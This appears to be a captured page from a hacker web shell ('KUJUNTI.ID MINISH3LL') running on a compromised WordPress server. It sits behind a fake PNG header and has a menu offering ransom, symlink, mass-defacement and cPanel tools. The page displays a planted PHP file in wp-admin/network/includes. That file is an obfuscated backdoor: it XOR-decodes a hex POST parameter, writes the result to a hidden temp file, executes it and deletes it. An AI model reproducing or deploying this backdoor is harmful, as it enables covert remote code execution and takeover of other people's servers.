\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-admin/network/includes/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/eceas/wp-admin/network/includes/left.php


<?php

if(isset($_POST["\x73\x79\x6Dbol"]) ? true : false){
	$hld = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]);
	$elem = hex2bin($_POST["\x73\x79\x6Dbol"]);
	$entity= '';    $u = 0; while($u < strlen($elem)){$entity .= chr(ord($elem[$u]) ^ 1);$u++;}
	foreach ($hld as $factor) {
    		if ((bool)is_dir($factor) && (bool)is_writable($factor)) {
    $val = str_replace("{var_dir}", $factor, "{var_dir}/.k");
    if (file_put_contents($val, $entity)) {
	include $val;
	@unlink($val);
	exit;
}
}
}
}

© KUJUNTI.ID